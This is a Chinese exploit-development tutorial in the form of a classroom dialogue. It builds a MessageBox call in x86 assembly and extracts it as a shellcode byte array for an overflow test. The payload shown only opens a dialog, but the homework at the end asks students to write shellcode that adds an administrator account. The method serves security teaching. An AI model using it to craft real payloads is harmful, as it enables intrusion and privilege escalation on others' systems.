2.4.2 生成汇编和ShellCode

“对比前面的分析。执行 system(“command.exe”) 时，先把参数command.exe字符串的地址入栈，再call system的地址就行了。”

“那么，执行 MessageBox(0, "ww0830","ww", 1) 就是把四个参数从右至左压入堆栈，即先压1，再压‘ww’字符串的地址，然后是‘ww0830’字符串的地址，最后压0；接着CALL MessageBox函数的地址就OK了。”

“1和0多好压啊！只要PUSH 0、PUSH 1就完成了。”玉波嚷道，“可惜还有两个参数呢！如果参数都是数字就好了。”

宇强想想后，问道，“那‘ww’和‘ww0830’这两个参数串莫非像构造command.exe字符串那样，先在栈里面构造出来，然后把它们的地址作为参数入栈？”

“太对了！”老师表扬道，“第三个参数‘ww’是对话框标题，我们在‘ebp－0Bh’和‘ebp-0A’的地方都放‘w’，而‘ebp-09’放字符串结束标志0x00。那么，‘ebp－0Bh’就是字符串的地址了。示意图如图2－17。”

“我们把‘ebp－0Bh’放在ESI中保存起来，等会儿作为参数入栈，代码如下：”

//标题"ww"->esi
mov byte ptr[ebp-0Bh],77h//w
mov byte ptr[ebp-0Ah],77h//w
mov byte ptr[ebp-09h],0h//0x00
lea esi,[ebp-0Bh]

“然后第二个参数（对话框的内容）‘ww0830’也是类似。我们把它放在‘ebp-07h’开始的地方，并保存在ESI中，代码如下：”

//内容"ww0830"->edi
mov byte ptr[ebp-07h],77h//w
mov byte ptr[ebp-06h],77h//w
mov byte ptr[ebp-05h],30h//0
mov byte ptr[ebp-04h],38h//8
mov byte ptr[ebp-03h],33h//3
mov byte ptr[ebp-02h],30h//0
mov byte ptr[ebp-01h],0h//0x00
lea edi,[ebp-07h]

“参数都构造好了。最后我们合起来执行 MessageBox(0, "ww0830","ww", 1) 吧！”

“第四个参数是1，我们就直接PUSH 1；倒数第二个参数是标题字符串的地址，我们存在ESI中的，所以PUSH ESI；同样，内容字符串的地址是在EDI中，我们PUSH EDI；第一个参数是0，我们PUSH 0。”

“参数都入栈后，我们CALL messagebox函数的地址。在我的机器上，函数的地址是0x77d3add7，我们直接 CALL 0x77d3add7 就完成执行函数了。这段汇编代码如下：”

push 1                          //1
push esi                        //标题
push edi                       //内容
push 0                          //0
mov eax,77d3add7h       //messageboxa()
call eax

“合起来，在VC中用__asm{}嵌入，编译并执行，还是弹出对话框。成功！如图2－18。”

“哦！又成功了！”大家满脸喜悦。

“接下来大家提取ShellCode吧！也顺便再复习一下。”

“好的，在VC中按F10调试，然后调出汇编和对应的机器码，如图2－19。我们把对应的机器码抄下来就可以了。”古风边说边抄。

古风抄完后说道：“这样得到弹出Windows对话框的ShellCode如下。”

Char ShellCode[] = 
    “\x55\x8B\xEC\x81\xEC\x80\x00\x00\x00\xC6\x45\xF5\x77\xC6\x45“
    “\xF6\x77\xC6\x45\xF7\x00\x8D\x75\xF5\xC6\x45\xF9\x77\xC6\x45“
    “\xFA\x77\xC6\x45\xFB\x30\xC6\x45\xFC\x38\xC6\x45\xFD\x33\xC6“
    “\x45\xFE\x30\xC6\x45\xFF\x00\x8D\x7D\xF9\x6A\x01\x56\x57\x6A“
    “\x00\xB8”
    “\xD7\xAD\xD3\x77”    //MessageBox函数的地址
    “\xFF\xD0”

“再拿溢出程序测试就可以了。”古风抹抹了汗说。

“嗯，不错！希望大家都能理解好原理，掌握好方法。今天早点放学，我给大家再布置一个作业，回去独立完成一个ShellCode，功能是在系统上添加一个用户，并把它加成管理员身份，下节课我会让一位同学上台来给大家讲解他的完成过程。大家都要认真准备啊！不然上台说不出话来，被大家笑话就不好意思了吧！班上还有女生呢！OK，今天到此为止，放学！”